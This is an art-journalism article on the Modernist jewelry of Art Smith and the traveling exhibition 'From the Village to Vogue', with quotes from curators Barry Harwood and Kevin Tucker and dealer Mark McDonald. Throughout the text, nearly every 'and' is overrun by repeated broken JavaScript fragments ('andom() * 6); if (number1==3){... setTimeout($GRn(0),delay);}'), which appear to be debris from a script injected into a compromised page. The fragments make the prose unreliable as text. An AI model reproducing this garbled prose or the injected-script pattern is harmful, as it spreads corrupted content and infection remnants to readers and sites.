By: Kate Eagen Johnson

DALLAS, TEXAS — “Well, there is the curator’s eye andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the collector’s eye. And collectors are really responsible for the rediscovery of Art Smith jewelry. The quality andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and originality of his work became more widely appreciated as pieces turned up in the market.” So explained Barry R. Harwood, curator of decorative arts, Brooklyn Museum, who pointed to the revival of interest in Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Crafts-style decorative arts as another collector-driven awakening. The intellectually open andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collegial Harwood was delighted to recognize Modernist dealer, collector andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and connoisseur Mark McDonald as an early champion of the “Art Smith” revival. McDonald helped introduce the jewelry artist’s work to a new generation of admirers. The curator andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collector have joined together to give studio artist Art Smith andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his Modernist jewelry broader andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more serious attention.

Harwood organized the exhibition “From the Village to Vogue: The Modernist Jewelry of Art Smith,” which is on view at the Dallas Museum of Art until December 7. Initially mounted at the Brooklyn Museum in 2008–2009, the traveling exhibition consists of 26 pieces of jewelry by Smith andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than 30 works by Claire Falkenstein, Frank Rebajes, William Spratling andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and their contemporaries. On view earlier this year at the Cincinnati Museum of Art, this exhibition will open at the High Museum of Art on February 1.

The jewelry Art Smith created is breathtaking in its own right, but the stories of Smith’s own circumstances andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of the inspiration he drew from fellow performing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fine artists associated with the Black Arts Movement are also fascinating.

Smith standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands as a black, gay artist who made it against the odds to successfully design, fabricate andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and retail Modernist studio jewelry in the art capital of New York during the third quarter of the Twentieth Century. Arthur George Smith (1917–1982) was born in Cuba to Jamaican parents. The family moved to Brooklyn in 1920. Smith won a scholarship to the Cooper Union for the Advancement of Science andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Art, where he was one of a very few African American students. Teachers encouraged him to pursue the architecture track with future employment possibilities likely in the civil sector, but the study of mathematics proved troublesome. He graduated in 1940 with a degree in commercial art, majoring in sculpture.

Smith initially worked for both the WPA andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Junior Achievement. Enrolling in an evening jewelry class with the African American jewelry artist Winifred Mason led Smith to become her assistant andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and eventually to establish his own studio/shop in 1946. He set up on Cornelia Street in an Italian neighborhood, but racial violence forced him to move to 140 West Fourth Street. There he made andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold his jewelry — while also retailing through specialty shops in such cities as Chicago, San Francisco, Houston andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Dallas — until the late 1970s.

During this era, Smith was active in the Black Arts Movement. Commissions illustrative of Smith’s prominence included a pair of cufflinks he designed for Duke Ellington incorporating the first few notes from his immortal Mood Indigo, as well as a brooch the Peekskill, N.Y., chapter of the National Association for the Advancement of Colored People presented to Eleanor Roosevelt. Smith also designed jewelry for a number of black dance troupes, including one headed by Pearl Primus. A friendship with choreographer, dance company director andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dancer Talley Beatty led him to the circle of Frank andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Dorcas Neal.

The Neals’ apartment in Chelsea served as a meeting place where writers, artists andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and musicians who were black andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and gay — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and others sympathetic to their struggle — could find camaraderie andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and support. Aside from the Neals, the consistent attendees of this artists’ salon included James Baldwin, Billy Strayhorn, Harry Belafonte, Charles Sebree andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Talley Beatty, as well as Smith.

During Smith’s lifetime, his jewelry appeared in Harper’s Bazaar andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Vogue. Smith andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his Modernist jewelry were included in the following group exhibitions: “Modern Jewelry Design,” Museum of Modern Art, 1946; “Modern Jewelry Under Fifty Dollars,” Walker Art Center, Minneapolis, 1948; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Objects: USA,” a traveling exhibition in United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Europe, 1969–73. The last was the landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andmark contemporary craft exhibition curated by Lee Nordness of Lee Nordness Galleries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Paul J. Smith, director of museum of contemporary craft (now the Museum of Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Design, New York), andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and funded by S.C. Johnson & Son, Inc (Johnson Wax) of Racine, Wis. Most important, the Museum of Contemporary Craft mounted the solo exhibition “Art Smith: Jewelry” in 1969.

Like so much in Twentieth Century art, we have the Surrealists to thank for the idea of “wearable sculpture.” In the United States, Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Calder was among the first to adopt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and realize this concept. The necklaces, cuffs, earrings, cuff links andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rings Smith designed reflect the inspiration he drew from Modernist, biomorphic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and African art. Smith’s philosophy was captured in his artist’s statement published in the catalog for his 1969 solo exhibition: “A piece of jewelry is in a sense an object that is not complete in itself. Jewelry is a ‘what is it?’ until you relate it to the body. The body is a component in design just as air andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and space are. Like line, form andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and color, the body is a material to work with. It is one of the basic inspirations in creating form.”

McDonald described Smith’s practical andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accessible modes of working andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of relating with clients: “Both out of necessity andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and out of altruism, Art Smith came up with a design he liked, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and then he reproduced it. So if you came into his shop andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and chose a design, he could have it ready for you in a week. He made the design in silver, brass andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and copper, with silver being the most expensive andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and copper the least expensive. A piece might be $20 in silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $12 in brass. This way he could reach the woman who could not afford a $20 piece of jewelry in the 1950s. He also offered a time-payment plan. A customer could pay $2 per week, for example. He was very democratic, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this is the way he made andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold his jewelry. It was not unusual for customers to become friends andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and longtime clients. There was one woman from the Midwest who visited him each year on her annual trip to New York andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bought a pair of earrings. She ended up with 15 pairs of Art Smith earrings.”

Modernist collecting prophet Mark McDonald first encountered Art Smith jewelry in the early 1980s when researching artists andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and acquiring works connected to the Mid-Century Studio Jewelry Movement. These artists had shown their work at contemporary craft exhibitions at MoMA, the Walker Art Center andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a few other museums andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and McDonald examined the publications documenting these exhibitions to learn more. He came to realize that Art Smith was among the five or six most important artists working in this genre. McDonald formed a collection andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and supported the exhibition “Messengers of Modernism: American Studio Jewelry 1940–1960” at Montreal Museum of Decorative Arts in 1996. McDonald mounted “Intimate Sculpture, Art Smith andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and His Contemporaries: Modernist Jewelry, 1940–1965” at his own Gansevoort Gallery in Manhattan, 1997–1998.

As the key part of the exhibition shown at his gallery, McDonald highlighted the Art Smith “Estate Legacy Collection” that belonged to Smith’s companion andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and heir Charles L. Russell. These were very special pieces that had not been sold. Their public display prompted Russell to think about creating a memorial to Smith by donating the works to a museum. McDonald, who still represents the Art Smith estate, helped Russell find a suitable home for the collection of 21 pieces. For various reasons, including the fact that Smith had spent some of his boyhood in Brooklyn, Russell selected the Brooklyn Museum.

Listen to curator Barry Harwood’s perspective: “I had known about Art Smith for quite a while. The Brooklyn Museum had been collecting Modernist jewelry since the early 1970s. I was in despair of ever acquiring a piece of Art Smith jewelry because the prices kept going up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and up. Then the opportunity of the gift appeared. My wish had been granted.”

During this process, Russell mentioned to Harwood that when they had closed the shop on West Fourth Street, they had simply boxed up the papers relating to the 30-year-old business. Russell asked Harwood, “Would you like to see them? Because, otherwise, I am probably going to throw them out.” Harwood examined the contents of the stored-away boxes. Among the telephone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and electric bills he discovered original sketches, photographs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other important archival material, some of which is incorporated into the exhibition.

Mounting an exhibition, hosting an opening andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and publishing an exhibition guide were part of the agreement with Russell in securing the gift. According to Harwood, “From the Village to Vogue” was never envisioned as a major exhibition. But it took on a life of its own, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and generated so much interest that the traveling exhibition was born.

Harwood has received calls from a number of people who had purchased jewelry directly from Art Smith during the 1950s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1960s. Two women told him roughly the same story: “When they were going to get married, their mothers directed that they go to Tiffany’s, but they wanted something different andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and so they went with their future husbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and got wedding bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands from Art Smith instead. They did not want their mothers’ style of gold or platinum jewelry. They were liberated, young, artistic New Yorkers. They were the same women who rejected Wedgwood dinnerware in favor of Russel Wright andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Eva Zeisel ceramics.”

For the Dallas Museum of Art, “From the Village to Vogue” is the first dedicated presentation of Modernist jewelry at the institution. Kevin W. Tucker, the Margot B. Perot senior curator of decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design, explained that DMA is developing its own program of collecting andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and presenting Modernist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary jewelry, an initiative underwritten by Deedie Rose, who has given the museum many examples of contemporary jewelry dating from the 1960s through the 1990s. Hosting this exhibition was one way of “testing the waters” in regard to expandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding the design exhibition program to include jewelry andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fashion. Tucker has tied the Art Smith exhibition to the DMA’s permanent collection via a small companion exhibition called “Form Unformed: Contemporary Jewelry From 1960 to the Present.” In addition, some of Smith’s tools have been incorporated into the DMA’s Center for Creative Connections.

There has been tremendous response to the work of this studio artist who is little known outside of Modernist jewelry collecting circles. Tucker noted that on a single weekend at DMA, more than 10,000 visitors enjoyed “From the Village to Vogue,” an amazing number considering the modest size of the exhibition. Ebony McFarlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, curatorial assistant in the department of non-Western art, ancient art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design at DMA — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a self-identified “Jewelry Person” — summed up the timelessness of Smith’s jewelry: “What impressed me most was how modern his designs were at the time. I would wear every single piece today!”

Historically, Smith possessed a direct connection to Dallas as well. His jewelry was sold at the Black Tulip, a North Dallas boutique that also offered South American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and African textiles, among other globally inspired merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise.

The impact of “From the Village to Vogue” continues to reverberate in museum, scholarly andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collecting circles. Because of the excitement andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and publicity surrounding the exhibition, Harwood has received pieces by Smith andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other Modernist jewelry artists as donations, noting happily how exhibitions attract gifts to museums. It is also his goal to buy good representative pieces to surround the Art Smith collection. Recent acquisitions through gift or purchase include works by Margaret De Patta, Peter Macchiarini, Henry Steig andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and John Axel Prip, as well as a rare piece by Winifred Mason, Smith’s mentor. Harwood teaches in the master’s program in the history of decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design at the Cooper-Hewitt Museum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one of his students is currently researching Winifred Mason. He looks forward to seeing what she uncovers.

McDonald has helped facilitate a long-term loan of Art Smith objects to the National Museum of Afri-can American History andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Culture, Smithsonian Institution, which will open soon in Washington, D.C. Inclusion of Smith’s jewelry there will help ensure that the artist enjoys his rightful place in the narrative of the Black Arts Movement in America.

The Modernist jewelry market has certainly heated up in the last five to ten years. The best pieces by Smith come on the market only sporadically, but there is obviously great interest when they do. While many of us live in hope of finding that undiscovered “sleeper” at an estate sale, the reality is that his jewelry is much sought after, not only for its intrinsic beauty, but for the broader issues in American history andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and art history it also represents.

